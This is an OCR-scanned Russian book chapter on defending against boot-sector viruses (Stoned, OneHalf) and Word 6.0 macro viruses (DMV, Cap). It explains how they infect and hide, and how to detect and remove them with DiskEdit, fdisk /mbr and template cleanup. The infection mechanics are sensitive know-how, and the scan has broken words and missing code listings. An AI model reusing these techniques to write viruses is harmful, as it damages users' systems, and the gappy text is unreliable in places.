Методы защиты Например, существуют экзотические вирусы, заражающие командные ВАТфайлы. Жизнеспособность таких вирусов в "дикой природе" крайне невелика, их можно сравнить разве что с лабораторными белыми мышами (а вы когда-нибудь ви дели белых мышей?). Или вот еще — макро-вирусы, заражающие файлы сложных типов, которые содержат результаты работы некоторых текстовых процессоров и электронных таб лиц. Например, файл с расширением .DOC, создаваемый текстовым процессором MS Word есть, грубо говоря, текст +- программа его форматирования + еще что-то. Макро-вирусы заражают именно эту программу форматирования текста. Они обра зуют отдельный большой класс вирусов. Но существуют и другие программные компоненты, не имеющие никакого отношения к дисковым файлам. Например, стандартные процедуры ввода/вывода ПЭВМ (BIOS) размещают ся в ПЗУ. Вопрос о заразимости вирусами BIOS'os, размещенных в перезаписывае мой Flash-памяти до недавнего времени носил пока только теоретический характер. А еще существуют программные компоненты, размещаемые в системных об ластях дисковых устройств: винчестеров и дискет. Вирусы, заражающие эти про граммные компоненты, давно известны и широко распространены. Борьбе именно с вирусами этого класса будет посвящена данная часть статьи.
Техническая информация Для понимания сути вопроса от читателя требуется хотя бы поверхностное представление о логической структуре дисковых устройств. Несколько слов об инструменте, при помощи которого мы будем изучать дис ковую структуру. Наиболее удобна программа DiskEdit, входящая в состав знаменитых Нортоновских утилит. Автор рекомендует пользоваться либо версией 8-9, либо версиями,,более ранними, чем 6.0, ибо в "средних" версиях содержится ряд грубых ошибок. Запускаем DiskEdit.exe или DE.exe, нажимаем Alt-D, устанавливаем обязатель но режим Physical Disks (Физические Диски), выбираем желаемое устройство и вперед.
Логическая структура диска Все дисковые устройства имеют единую организацию. (Здесь не рассматри ваются некоторые другие типы дисковых устройств, типа лазерных дисков, которые имеют совершенно другую структуру). Очень грубо дисковое устройство можно представить себе в виде пакета круглых пластин, насаженных на одну общую ось (своеобразная стопка блинов). На поверхность пластин (обычно с обеих сторон) нанесен магнитный слой, который сохраняет информацию, записываемую или считываемую при помощи маг нитных головок-"звукоснимателей", количество которых равно количеству рабочих поверхностей. На винчестерах, как правило, присутствуют несколько рабочих по верхностей, на дискетах только две: 0-я и 1-я. Рабочая поверхность содержит ряд концентрических окружностей — доро жек (треков). Самая ближняя к внешнему краю диска дорожка имеет номер 0, следу-
370
Методы
защиты
(ошая — номер 1 и т.п. На дискетах количество дорожек бывает 40 или 80, на винче стерах типичное количество — несколько сотен или тысяч. Старые BlOS'bi не под держивали количество дорожек большее, чем 1024. BlOS'bi на современных материнских платах обязательно поддерживают режим работы с большим количестом дорожек (режимы LBA и/ или Large). Совокупность всех дорожек, равноудаленых от оси и расположенных на всех рабочих поверхностях, носит название цилиндра. Каждая магнитная дорожка разбита на ряд секторов, нумеруемых от 1 и до максимального значения, которое для дискет составляет 9, 15 или 18, а для винчес теров достигает иногда несколько десятков. В один сектор можно записать 512 бай тов информации. Приведем стандартные характеристики для разных типов дискет (может пригодиться): Тип дискеты Головок Дорожек Секторов Объем
DS/DD 5" 2 40 9 360 Кб
DS/HD 5" 2 80 9 1.2 Мб
DS/DD3.5" DS/HD 3.5" 2 2 40 80 15 18 720 Кб 1.44 Мб
Прямая работа с дисковым устройством через контроллер дисковода или вин честера очень сложна. Поэтому в ПЗУ каждого PC-совместимого компьютера запи саны стандартные процедуры, обеспечивающие доступ к дисковым устройствам. 99% программ, в том числе и сама операционная система DOS, пользуются при об ращении к дискам именно этими процедурами. Доступ к дисковым процедурам возможен через прерывание 13h. Впрочем, эти процедуры (только в той части, которая касается работы с дискетами) имеют еще ну точку входа — через прерывание 40h, Интересно, что обработчик прерывания h располагается в BlOSe в 99.99% случаев по адресу F000h:EC59h (проверьте!).
В
Самый первый сектор на дисковом устройстве (0/0/1) занимает программа за
грузки. Алгоритм загрузки компьютера с диска Сразу после включения питания компьютера происходит аппаратный сброс всех устройств, а счетчик команд устанавливается на начало кода программы POST. Эта программа тестирует оборудование, производит, если нужно, его программнук инициализацию, а вслед за этим начинает искать активное дисковое устройство, с ко торого возможна загрузка — винчестер или дискету. В случае "наличия отсутствия" таковых, "доисторические" IBM PC загружа ли кассетную (расположенную в ПЗУ) версию интерпретатора BASIC'a. Современ ные персоналки в этом случае просто извещают: NO ROM BASIC, SYSTEM HALTED. И глохнут. Вы, вероятно, помните, что очень часто в программе SETUP есть опция, поз воляющая заставить программу POST начинать поиск либо с дискеты, либо с винче стера, либо вообще игнорировать одно из устройств. Но в любом случае POST должна добраться до какого-нибудь дискового устройства, прочитать сектор 0/0/1, за грузить его содержимое в ОЗУ по адресу 0:7C00h и передать туда управление. С это-
371
Методы защиты
_ _ _ _ _ _ _ _ _
го момента компьютер снимает с себя всякую "аппаратную ответственность" за ход загрузки. Чем и пользуются злопасные вирусы. Загрузка с дискеты Предположим, что программа POST нашла в дисководе А: какую-то дискету. Что же она загрузит в память? Сектор 0/0/1 "(boot-сектор) имеет, в общем, следующую архитектуру: Содержимое
Размер в байтах
Команда перехода на код загрузки
3
Таблица параметров дискеты Код загрузки Диагностические сообщения Признак загрузочного сектора
21-65 Остальное — 2
Примечание JmpXXXX или JmpXX пор — — — 0АА55Н
Таблица параметров необходима, чтобы процедуры BlOSa сумели настроить ся на конкретные характеристики дискеты. Она имеет разный размер в зависимости от того, какой программой и в какой версии MSDOS производилось форматирование. К статье прилагаются файловые образы загрузочных секторов дискеты 3.5", отформатированной при помощи: format MSDOS 7.0; pctools 4.30; fformat v 2.7., а также комментированый исходный текст программы-загрузчика, разработанной В.Аношиным и опубликованной в журнале "Монитор" несколько лет назад. Варианты кода загрузки также имеют различную длину, содержат разные ко манды, но, вобщем, выполняют одни и те же функции: обращаются к корневому ка талогу своего диска и ищут в нем файлы операционной системы (для "настоящей" MSDOS это IO.SYS и MSDOS.SYS); в случае успеха загружают их в память и пере дают на них управление; в случае неуспеха выдают на экран что-то вроде: Non-system disk or d i s k e r r o r Replace and p r e s s any key. Ждут нажатия клавиши и перезагружают систему, повторно вызывая про грамму POST. Загрузка с винчестера Теперь рассмотрим случай, когда в дисководе "ничего не торчит" и програм ма POST прочитала в 0:7C00h нечто из стартового сектора не дискеты, а винчестера. Загрузка с винчестера, в отличие от загрузки с дискеты, происходит в не сколько этапов. В стартовом секторе винчестера располагается не загрузчик конкрет ной операционной системы, а так называемый внесистемный зафузчик. Кроме того, там же располагается таблица логических разделов винчестера (Partition Table).Сово-
372
Методы
защиты
Существуют программные средства, обеспечивающие диалоговый сервис по загрузке различных ОС: IBM Boot Manager (поставляется вместе с OS/2), MicroWare MultiLoader (поставляется вместе с OS-9000) и пр. Впрочем, зная теперь схему за грузки, такую программу нетрудно написать самостоятельно. В случае, когда главная и единственная операционная система — MSDOS, в стартовом секторе активного раздела (0/1/1) располагается... старый знакомый за грузчик MSDOS, практически аналогичный тому, который "живет" в boot-секторе дискеты и который мы уже рассматривали ранее. Основная идея любого загрузочного вируса весьма проста. Вирус просто за мещает собой один из загрузчиков на дискете и/или винчестере. Но, для того, чтобы обеспечить дальнейшую нормальную загрузку, могут быть использованы, например, следующие приемы. Методы получения вирусом управления Вирус может сохранить старое содержимое загрузочного сектора в "укром ном уголке". После выполнения запланированных действий вирус просто считывает сохраненный оригинальный загрузчик в память по адресу 0:7CO0h и передает ему управление. Т.е. в многоступенчатом процессе загрузки просто появляется еще одна, "нелегальная" ступенька. (Это очень похоже на действия вымогателей: схватили, дер жат на "секретной хате" и изредка дают пообщаться с семьей по телефону. Вирус может самостоятельно выполнять действия (или их часть), которыми раньше занимался оригинальный загрузчик. Наконец, вирус может не полностью вытеснять оригинальный загрузчик, а лишь несколько модифицировать его. Например, видоизменить или добавить не сколько команд. Разумеется, возможны различные комбинации и модификации этих методов. Например: вирус может просто изменить местоположение активного раздела в Partition Table, но полностью самостоятельно выполнить функции следующего в це почке загрузчика — налицо комбинация 3-го и 2-го методов. Наиболее часто, как самый простой и интуитивно понятный, используется 1-й метод заражения — метод "вытеснения" оригинального загрузчика. Возникает вопрос, а что это за "укромный уголок", в котором вирус сохраняет своего "предшественника"? Способы сохранения оригинального загрузчика Наиболее просто найти "укромный уголок" на винчестере. Например, вся 0-я дорожка (кроме 1-го сектора), как правило, бывает пустой.Зная это, вирус Stoned "заныкивает" оригинальный загрузчик в 0/0/7. Основных недостатков два: •
загрузочные вирусы очень часто являются плагиатом друг с друга; в этом случае, последовательно заражая винчестер и используя для "заначки" один и тот-же сек тор, они просто-напросто разрушают процедуру загрузки; • 0-я дорожка может оказаться и не пустой; например, программное обеспечение Disk Manager активно использует ее для размещения своего виртуального BlOSa; в этом случае также возможны "Crush & Destroy" загрузочной процедуры.
374
Методы
защиты
Некоторые вирусы создают для своих нужд (в том числе и для содержания "секретной хаты" ) псевдосбойные кластеры, т.е. фрагменты винчестера, на самом деле совершенно нормальные, но объявленные неисправными. (Ребята, а чегой-то у вашего приятеля руки связаны и рот заклеен?— Дык, буйный он, в психушку везем). Но, во-первых, любой NDD или ScanDisk легко и просто отыскивает такие кластеры. А во-вторых, вот уже много лет, как изготовители "винтов" научились делать свою продукцию более-менее качественно: если винт "летит", то уж он "падает" сразу, а не "сыплется" помаленьку. (По крайней мере, так уверяют авторы в солидных компью терных журналах; им хочется верить). По-разному "извращаются" авторы загрузочных вирусов, отыскивая свобод ное место на дискете. Например, известно, что в 99.99% случаев современные дисководы позволя ют отформатировать на дискете дополнительные, так называемые "инженерные" ци линдры. В случае с дискетой DS/ HD 3.5" это может быть, например, 80-й цилиндр. По-прежнему, можно объявить какой-нибудь сектор неисправным. Наконец, многие вирусы пытаются захватить для своих нужд не "свободные", а, по их мнению, "редко используемые" сектора. Например, предполагая, что на дис кете редко бывает в корневом каталоге несколько сотен файлов, вирус Stoned нагло занимает последний сектор корневого каталога... с учетом того, что это была дискеа на 360 Кб. Вирусы, занимающие 1 сектор, в общем, свидетельствуют о неплохой програ-шстской квалификации своих авторов. В самом деле, если вирус заражает и диске,ты и винчестер, попробуйте-ка разместить в одном секторе вирусный код, да ведь еще 64 байта в этом секторе займет Partition Table, и минимум 21 —таблица параме тров дискеты!
1
Поэтому нередки случаи, когда вирусу требуется гораздо больше, чем 1 сек^ тор. Например, вирус DEF0 обрушивает на 0-ю дорожку винчестера свое потное и грязное брюхо длиной 8(!) секторов. Разумеется, большая длина вируса не обязательно означает "дубовость" авто ра. Все зависит от того, какие функции выполняет этот дополнительный фрагмент. Например, длинным "туловищем" обладают, как правило, сложные файл о во-загру зочные вирусы. Интересен случай, когда одно дисковое устройство заражают несколько раз ных вирусов. При этом в "укромном уголке" томится не оригинальный загрузчик, а менее удачливый "коллега" основного вируса. Иногда приходится встречать целые цепочки таких заражений — яркий аналог "бандитских разборок", перенесенных на электронную почву. Анализ конкретного загрузочного вируса , Рассмотрим принципы работы загрузочных вирусов на примере классическо го Stoned.
375
Методы защиты Как уверяют вирусологи, вирус этот был написан приблизительно в 1988 г. в Новой Зеландии и первоначально умел заражать только дискеты 360 Кб. Вскоре по явилась версия, умеющая заражать еще и жесткие диски. Характерным признаком вируса Stoned являются знаменитые "Your PC is now Stoned! LEGALIZE MARIJUA NA!". (Впрочем, по словам тех же вирусологов, существует несколько вариантов на писания этих строчек). Вирус поразил огромное количество подражаний. В каталогах антивирусных программ можно обнаружить многие десятки Stoned'oB, т.е. вирусов, написанных "по мотивам", а то и просто являющихся слегка видоизмененным оригиналом. Что же делает вирус Stoned? Допустим, мы имеем дискету, в загрузочном секторе которой сидит эта зло вредная "козявка". Этой дискетой можно пользоваться неограниченное число раз и да же не подозревать о наличии в ней вируса (если, конечно, она не является загрузочной). Но вот мы случайно оставили ее в кармане дисковода во время перезагрузки компьютера. Программа POST, загружает содержимое сектора 0/0/1 дискеты по ад ресу 0:7C00h , передает туда управление и... Вирус стартовал! Первым делом он уменьшает по адресу 0:413h объем до ступной машине памяти на 2 Кб (хотя хватило бы и одного, видимо про запас). С это го момента "наивная и доверчивая" персоналка будет считать, что у нее в распоряжении ниже A000h:0, например, не 640 Кб, а только 638 Кб. Затем вирус вычисляет сегментный адрес вновь образованного неучтенного фрагмента памяти, перетаскивает себя туда и передает управление. Все правильно, область 7C00h:0 надо освобождать для дальнейших загрузчиков. Вирус устанавливает адрес обработчика прерывания 13h на себя, располо женного в "секретной" (якобы несуществующей) памяти. Наконец, очень важный для нас фрагмент. Вирус определяет источник загруз ки — винчестер или дискета и считывает в 0:7C00h "томившийся в заточении" ори гинальный загрузчик. На дискете это адрес 0/1/3, па винчестере — 0/0/7. Если загрузка была с дискеты, он еще успевает между делом заразить винчестер. И пере дает туда управление. Все, дальше загрузка идет, как ей и положено. Если дискета была не системная, оригинальный загрузчик исправно закри чит: Non-System disk, либ'о начнет загружать операционку. Или внесистемный за грузчик винчестера начнет, как ему и полагается, сканировать Partition Table и пр. Все вроде бы по-старому. Только из ОЗУ "выпал" кусок размером 2 Кб.В нем торчит агрессивный обработчик 13-го прерывания, через который проходят все обра щения к дискетам. Если на зараженной машине вставить дискету в дисковод и обра титься к ней, например, прочитать каталог, вирус немедленно "сядет" в ее boot-сектор. Дискета будет также заражена. Разумеется, кроме "половой жизни" вирус жаждет еще и "духовных развлече ний". С вероятностью 1/8 он при загрузке извещает перепуганного пользователя, что его компьютер, мол, окаменел. И, наверное, при этом противно хихикает.
376
Методы защиты
Обнаружение загрузочного вируса на машине Как обнаружить присутствие неизвестного зараженного вируса на компьюте ре или в загрузочном секторе дискеты? Во-первых, визуально. При помощи программы DiskEdit можно обратиться к стартовому сектору дискеты и/или винчестера и сравнить с оригиналом. Некоторые вирусы содержат Stealth-механизм. При обращении к зараженным секторам они подставляют "зрителю" оригинальный загрузчик. Поэтому для досто верного детектирования вируса лучше смотреть на сектора, загрузившись с "чистой" дискеты. Во-вторых, многие современные антивирусы умеют "отключать" Stealth-меха низм и могут оценить "здоровье" загрузочного сектора по характерным признакам. (Принципы эвристического анализа обсуждались нами ранее, в 3-й части цикла статей). Да, что антивирус... Автор лично видел компьютер с опцией Virus Warning в setup'e. Достаточно просто вставить "больную" дискету в карман дисковода и компьютер начинает верещать! Но снять защиту так же просто как отобрать у ре бенка конфету. Это мы уже рассматривали и пришли к выводу что Virus Warring ненадежен. Пользуйтесь презервативами! •
Избежать заражения дискеты очень просто: надо заклеить на ней прорезь или передвинуть рычажок защиты от записи. Но это, естественно, бессмысленно, если Вы собираетесь что-нибудь переписывать на эту дискету с зараженной машины. Чтобы избежать заражения винчестера, можно применить простейшее, но аб солютно надежное средство — не забывайте дискеты в кармане дисковода во время I перезагрузки ПЭВМ. Если же это все-таки произошло, вас иногда спасет включенная опция Virus '. Protection в BIOS Setup Вашего компьютера. При попытке вируса залезть в mbr Вы, получите визуальное и аудиальное (звуковое) предупреждение. Впрочем, эта в об щем полезная возможность BIOS обычно не защищает ни всю 0-ю дорожку, ни стар[ товые сектора разделов. И так, как все-таки избавиться от загрузочного вируса? Удаляем вирус с дискеты. Сделать это крайне просто — перепишем всю инL формацию на винчестер или другую дискету, отформатируем дискету и вернем на в нее, все, что на ней было раньше. Естественно, машина, на которой мы проделываем • Эту операцию, должна быть "чистой". Удаляем вирус с винчестера. Обычно, это тоже достаточно простая операция. I Загружаемся с "чистой" дискеты и выполняем команду: fdisk
/mbr
Это позволит "очистить" от вируса внесистемный загрузчик и при этом соI хранить Partition Table.
Методы защиты Обратите внимание: "кровавый format с:" при работе не трогает 0-ю дорожку, и позволяет избавиться только от загрузочных вирусов, заразивших boot в логичес ком разделе! Вероятно, это и порождает легенды о "бессмертных" вирусах, которых можно "убить" только низкоуровневым форматированием или посадкой на винчестер операционной системы Unix. Восстановить прежнее значение системных областей винчестера позволяет антивирус Adlnf. Кроме того, многие системные пакеты содержат Rescue-средства. Например, Нортоновские утилиты умеют сохранять системные области в файле и восстанавливать их в случае необходимости. Если Вы боитесь вручать такое ответственное и опасное дело, как лечение за грузочного вируса, программам fdisk и format, можно воспользоваться программой DiskEdit, входящей в состав популярных Нортоновских утилит. Эта программа поз воляет произвести минимальное и контролируемое на каждом шаге "оперативное вмешательство" в логическую структуру дискового устройства. Обратите внимание: в программе DiskEdit принята несколько другая схема адресации секторов: не {голо вка/трек/сектор}, а {трек/головка/сектор}!
Случай лечения дискеты Запускаем DiskEdit командой DiskEdit или DE (в зависимости от версии утилит; кстати, крайне не рекомендуется пользоваться программой DiskEdit из версий 6.x !). Вставляем в карман дисковода чистую (!) дискету того же формата (чтобы у них совпа дала таблица параметров дискеты), что и больная. Нажатием Alt-D выбираем это диско вое устройство. Нажатием Alt-P выбираем здоровый сектор 0/0/1. Обратите внимание: в параметре "количество секторов" необходимо установить единицу (а в версии 6.0 это невозможно)!!! Нажатием Alt-W выбираем опцию записи выбранного сектора в файл, например, boot.bin, лучше на винчестере. Затем меняем дискету на больную и проводим операцию в обратном порядке: нажатием Alt-F выбираем файл boot.bin, нажатием Alt-W выбираем операцию запи си, указываем в качестве результирующего объекта стартовый сектор больной диске ты и записываем здоровый сектор туда. Все это можно произвести и без использования файла в качестве промежуточ ного буфера — при помощи хорошо известных пользователям Windows операций Mark (Ctrl-B), Copy (Ctrl-C) и Paste (Ctrl-V). Мы воспользовались здесь тем фактом, что загрузочные сектора дискет, даже отформатированных при помощи разных программ, выполняют одни и те же функ ции. Следует отметить, что это не совсем верно для "загрузочных" дискет, ибо име на системных файлов в различных версиях операционных систем различны.
Случай лечения винчестера В случае с лечением винчестера можно применить тот же прием. Но для это го необходимо "выдрать" с какой-то другой машины здоровый mbr. Вот тут без фай ла в роли промежуточного буфера точно не обойтись. Затем скопируем "здоровый mbr в сектор 0/0/1 зараженной машины. Осталось только восстановить правильное значение элементов Partition Table. Это поможет легко и просто сделать программа
378
Методы защиты Norton Disk Doctor (NDD), входящая в состав тех же самых Нортоновских утилит. Достаточно запустить ее так: NDD/rebuild, и программа самостоятельно рассчитает местоположение всех разделов и поместит их в mbr. Впрочем, можно обойтись и без других дискет в качестве источников "донор ских" загрузчиков. Если Вы знаете, где именно вирус прячет оригинальные загрузоч ные сектора, их можно взять именно оттуда. Например, мы уже знаем, что вирус Stoned хранит оригиналы на дискете в 0/1/3 (1/0/3 в терминах DiskEdit), и на винче стере в 0/0/7. Кроме того, поползав DiskEdit'oM по потенциальным "укромным угол кам", можно просто-напросто визуально опознать оригинальные загрузчики (если вирус их не зашифровал) и вернуть их на законное место.
Написание антивируса для загрузочных вирусов Так поступают настоящие программисты. Наконец, если нам необходимо выечить большое количество дискет и/или винчестеров, можно воспользоваться ранее описанными антивирусами, позволяющими автоматизировать процесс лечения новых вирусов, либо написать свою программу.
Зажные особые случаи Важное замечание! Некоторые вирусы предпринимают специальные меры, направленные против удаления их из системных областей винчестера. Например, >айлово-загрузочный вирус OneHalf шифрует отдельные области винчестера и обес печивает нормальный доступ к ним, пока машина заражена. После удаления вируса с диска вышеуказанными методами часть информации на винчестере может оказатья испорченной. Операцию лечения такого рода вирусов лучше поручить специальным анти вирусным программным средствам, например, DrWeb Игоря Данилова или AVP Ев гения Касперского.
Борьба с макровирусами Речь здесь пойдет о так называемых макровирусах. Макровирусы в качестве ресурсов для своего размножения используют макросредства некоторых высокоуровр невых приложений, в основном — различных текстовых процессоров, электронных таблиц и СУБД (MS Word, MS Excel, MS Access, Ami Pro и пр.). Это возможно, поскольку указанные приложения для увеличения гибкости и мощности предоставляют пользователю встроенные языки для обработки данных и управления возможностями приложения, а также интерпретаторы (исполняющие си стемы) для этих языков. Для MS Word таким языком является WordBasic (для версий 6.0 и 7.0) или VBA (для более старших версий). Поскольку MS Word 6.0 по-прежнему весьма распространен, статья будет по священа обнаружению, распознаванию и удалению макровирусов именно для этой (русифицированной) версии текстового процессора.
Методы
защиты
Программирование на языке WordBasic Для понимания принципов организации макровирусов и борьбы с ними со вершенно необходимо иметь хотя бы поверхностное представление о языке WordBasic. Язык WordBasic позволяет создавать так называемые макрокоманды, которые должны по идее избавить пользователя от повторения рутинных операций при мно гократной нетривиальной обработке текста. Программы на WordBasic-e хранятся в так называемых шаблонах (template) — документах особого вида. Главным для MS Word является шаблон NORMAL.DOT. Все макрокоманды по умолчанию загружаются из него и сохраняются в нем. Если файл с этим шаблоном удалить, он будет создан автоматически при запус ке MS Word. Новую макрокоманду можно создать так: после запуска MS Word в меню [Сервис] выбрать альтернативу [Макрокоманда]. Появится форма ввода. В поле Имя надо набрать имя макрокоманды, в поле Описание можно поместить справочный комментарий. Затем следует нажать на кнопку [Создать], и появится окно ввода/ре дактирования макросов. Готовый макрос надо не забыть [Записать]. Старую макрокоманду посмотреть/отредактировать можно, если в альтерна тиве Макрокоманда выбрать имя желаемого макроса из списка и нажать кнопку [Правка]. В этом месте вы можете "обломаться" если макрос, который вы желаете по смотреть/отредактировать зашифрован (ExecuteOnly). В этом случае кнопка Правка будет просто недоступна. Например, изначально зашифрована библиотека полезных макросов MSWORD.DOT. Если Вы хотите изучить возможности WordBasic в совер шенстве, я рекомендую Вам заняться изучением текстов этих макросов. Зашифрова ны также некоторые макровирусы. Как увидеть эти тексты? Итак, текст макрокоманды должен помещаться между Sub Main End Sub Переменные бывают двух типов: вещественные и символьные (могут содер жать как отдельные символы, так и строки). При описании имена строковых пере менных должны завершаться символом '$'. Разрешены массивы. Пример описания 2-х переменных и 2-х массивов; Dim AAA,
BBB$
Dim С С С ( Ю ) ,
DDD$ (2}
Над вещественными числами разрешены классические арифметические и ло гические операции: изменение знака, сложение (+), вычитание (-), умножение (*), ве щественное деление (/), целочисленное деление (MOD). Для символьных переменных знак '+' означает конкатенацию строк. Примеры: AAA = 3.1415926 ССС(1) = (AAA * 2.718281828)/2
380
Большинство сложных операций доступно в виде команд и функций. Функ ции имеют такой же смысл, как и в других языках программирования. Существуют стандартные (предопределенные) функции, в то же время пользователь может созда вать свои. Примеры стандартных функций: Len (строка) — возвращает длину строки MsgBox (строка) — выводит строку на экран в окне Команда — это имеющая имя стандартная последовательность инструкций. Команды могут иметь параметры. Некоторые команды имеют "близнецов" среди стандартных функций, например:
i
Выполняет копирование макроса Макро1$ из одного шаблона в другой, при-
ваивая ему имя Макро2$. Если ПризнакШифрации присутствует и он ненулевой, то копированный макрос не будет доступен для редактирования. Именно на работе той команды основано свойство саморазмножения макровирусов. MS Word предоставляет несколько сотен стандартных процедур и функций. [о рассмотрение их выводит нас за рамки статьи. Мы, конечно, будем подробнее осанавливаться на некоторых из них, если это необходимо для понимания текста. Ярусов. Рассмотрим основные принципы устройства и функционирования макро-
Методы защиты Макровирусы распространяются вместе с переносимыми с машины на маши ну документами MS Word. Внутри зараженного документа содержатся вирусные ма кросы. При этом документ имеет формат шаблона (template), что не исключает нахождение внутри него также содержательного текста, изображений, формул и т.п. Такой документ с точки зрения обработки текста ничем не отличается от "нормаль ного". По умолчанию принято, что файлы "обычных" документов MS Word имеют расширения DOC, а шаблоны — DOT. На практике же MS Word различает их по вну треннему формату автоматически, не извещая об этом пользователя. "Нормальный" документ превращается в шаблон в момент копирования в не го вирусных макросов, т.е. в момент исполнения команды МасгоСору, если установ лен в определенное значение флажок способа сохранения FileSaveAs.Format. Важным отличием шаблонов от "нормальных" документов является невозможность сохранения их при помощи SaveFileAs. В MS Word существуют так называемые "автоматические" макросы. Это ма кросы, автоматически выполняющиеся при определенных условиях и предназначен ные для переопределения их пользователем. К таким макросам относятся, например, AutoOpen (получающий управление при стандартном открытии документа) и AutoClose (получающий управление при за крытии документа). По умолчанию эти макросы "пустые" и не выполняют никаких действий. Если открываемый документ (вернее, шаблон) содержит один из автоматичес ких макросов, то они запустятся, а вместе с ними получит управление и макровирус. Запретить запуск автоматических макросов можно, установив в 1 системную переменную DisableAutoMacros. Получив управление (при помощи одного из автоматических макросов) из за раженного документа, макровирус обычно предпринимает действия по "фиксирова нию" себя в системе. Для этого он переносит свои макросы в "главный" шаблон NORMAL.DOT. Макросы из этого шаблона автоматически загружаются и активиру ются при запуске MS Word. Таким образом, если вирус переносит свои макросы в "главный" шаблон, то он получает возможность постоянно находиться в системе. "Вылечить" NORMAL.DOT можно просто — удалив его с диска. После это го автоматически создастся новый NORMAL.DOT — чистый и без вирусных макро сов. Единственный недостаток — при этом пропадают и все "полезные" макросы, которые в нем могли содержаться. Но, например, широко известный макровирус Сар перед помещением своих макросов в NORMAL.DOT удаляет все его "полезные" ма кросы самостоятельно. Естественно, удалять NORMAL.DOT можно и имеет смысл только "выклю чив" MS Word. Часть действий выполняется в MS Word посредством выполнения стандарт ных макросов. Так, например, если для открытия нового документа пользователь вы бирает пункт меню Открыть/Open, то активизируется стандартный макрос FileOpen.
382
Если макровирус переопределяет один или несколько таких стандартных ма кросов, то он имеет возможность получить управление в момент выполнения соотетствующих операций. Естественно, обычно макровирусами переопределяются акросы, соответствующие файловым операциям MS Word: FileOpen, FileClose, • ilePrint и т.п. Получив управление в момент выполнения файловой операции, макровирус т помощи команды МасгоСору переносит свои макросы в соответствующий докуент (который при этом согласно значению флажка типа сохранения конвертируется формат шаблона). Как должно быть ясно из вышеприведенного текста, типовой макровирус должен содержать макросы двух типов: • получающие управление в результате исполнения "автоматических" макросов и копирующие вирусные макросы из шаблона в NORMAL.DOT; • получающие управление в результате исполнения "стандартных" макросов и ко пирующие вирусные макросы из NORMAL.DOT в документ (конвертируя его в формат шаблона). В некоторых вирусах эти макросы совмещены в один. В некоторых вирусах присутствуют другие макросы, предназначенные для выполнения действий, отлича ющихся от операций размножения. Рассмотрим структуру одного из "классических" вирусов — DM V (часть текта пропущена). Этот вирус считается первым из созданных макровирусов. Он сотоит из одного макроса — AutoClose. Макрокоманда AutoClose (часть текста пропущена):
Методы защиты
Добавим еще несколько комментариев к вышеприведенному алгоритму. При работе вируса используются следующие соображения. Если NOR MAL.DOT не содержит макроса AutoClose, то значит, что вирус стартовал из внеш него документа и необходимо заражать "главный" шаблон. Если текущий-документ не содержит макроса AutoClose, то вирус старговал из NORMAL.DOT и требуется заражение текущего документа.
384
Методы защиты Таким образом, в вирусе содержится всего одна макрокоманда, но она умеет распознавать, откуда вирус стартовал, и выполняет одну из двух необходимых после довательностей действий. Существует несколько алгоритмов работы макровируса, отличных от ранее описанного "классического". Например, некоторые вирусы не содержат в CQ6Q "авто матических" макросов, но используют для получения управления прием переопреде ления действий, ассоциированных с нажимаемыми клавишами. Так, команда
приведет к тому, что при нажатии клавиши "пробел" будет выполнен макрос с име нем Gangs\erz. В мире широкое распространение имеют так называемые локализованные версии MS Word: "руссифицированые", "испанизированные", "японизированньте" и др. Локализация подразумевает не только перевод системных сообщений и пунктов меню на соответствующий язык, но и подчас переименование стандартных имен, ключевых слов и т.п. Б качестве примера приведем ряд таких "синонимов":
Надо ли обосновывать тот факт, что макровирусы, написанные для опреде ленной версии MS Word, не смогут работать "за границей"? Это означает, что они не смогут выполнять свои "супружеские обязанности" по размножению, но храниться в документах и передаваться вместе с ними они могут свободно. Возможности языка WordBasic весьма велики, соотвественно этому проявле ния макровирусов разнообразны — это и файловые операции (открытие/закрытис/чтсние/заиись/персименование/удаление), различные "шутки" с редактируемым текстом, выдача на экран разнообразных сообщений и пр. Одним из примечательных проявлений макровирусов можно считать измене ние стандартной структуры меню MS Word. Например, вирус Сар при получении уп равления удаляет из структуры меню альтернативу Макро, обеспечивая этим самым Невозможность (относительную) визуально обнаружить свое наличие в файле NOR-
K
AL.DOT.
385
Методы
защиты
Опишем алгоритм, позволяющий в большинстве случаев обнаружить и обез вредить макровирус в MS Word. Шаг 1. Лечение необходимо производить в "чистой", т.е. заведомо не зара женной макровирусами среде MS Word. Для этого завершим работу MS Word (не "свернем" до иконки или полоски на линейке задач, а именно завершим!) и при по мощи какого-нибудь файлового менеджера (например Проводника/Explorer-a или да же просто NC) переименуем (или даже удалим) файл NORMAL.DOT из каталога WINWORD. Шаг 2. Вновь запустим MS Word. Программа обнаружит отсутствие файла NORMAL.DOT и предложит создать новый, "чистенький". Естественно, согласимся. Шаг 3. В меню Файл (File) выберем альтернативу Шаблоны (Template). Далее на последовательно появляющихся окнах нажмем кнопки Организатор, Закрыть Файл и Открыть Файл. В результате чего MS Word предложит загрузить один из до кументов-шаблонов, в роли которых может выступать как документ, предназначен ный для лечения, так и переименованный во время Шага 1 старый "главный" шаблон. Загрузим "пациента". Шаг 4. Выберем вкладку Макро и обнаружим на экране список макросов, за ключенных внутри загруженного шаблона. Вирус (если он есть) скрывается именно среди них. Если список пуст, значит вирус отсутствует! Шаг 5. Если список не пуст, внимательно изучим его содержимое. О наличии вируса с большой долей вероятности свидетельствуют: • •
макросы со "странными" именами, типа AAAZAO, Cap, Mtfl и пр.; макросы со "стандартными" именами: AutoOpen, AutoClose, AutoExec, AutoNew и пр.;
•
макросы с "автоматическими" именами: FileOpen, FileSave, FileSaveAs, FilePrint, FileExit, FileClose и пр. Шаг 6. Обнаружив вирусные макросы, ликвидируем их, поочередно отмечая мышью и нажимая кнопку [Удалить]. Лучше всего, если Вы удалите все макросы, особенно, если не уверены — какие из них "полезные", а какие "вредные". Шаг 7. Имеем прооперированный и теперь абсолютно здоровый файл. Един ственный недостаток (если мы лечили документ, а не NORMAL.DOT) в том, что файл по-прежнему остался шаблоном, и для него недоступна операция FileSaveAs. Какие пустяки! Написание антивируса Шаблон для написания антивирусных программ, производящих рекурсивный поиск в СОМ- и ЕХЕ-файлах указанного диска, был нами разработан ранее (см. про грамму ANTISVC). Для обеспечения возможности лечения DOC-файлов в текст про граммы необходимо внести минимальные изменения: • •
исправить фрагмент, отвечающий за проверку файлового расширения; разработать новые варианты процедур infected() и cure(), отвечающих, соответст венно, за распознавание и лечение вируса.
386
-
Методы защиты
387
Методы защиты
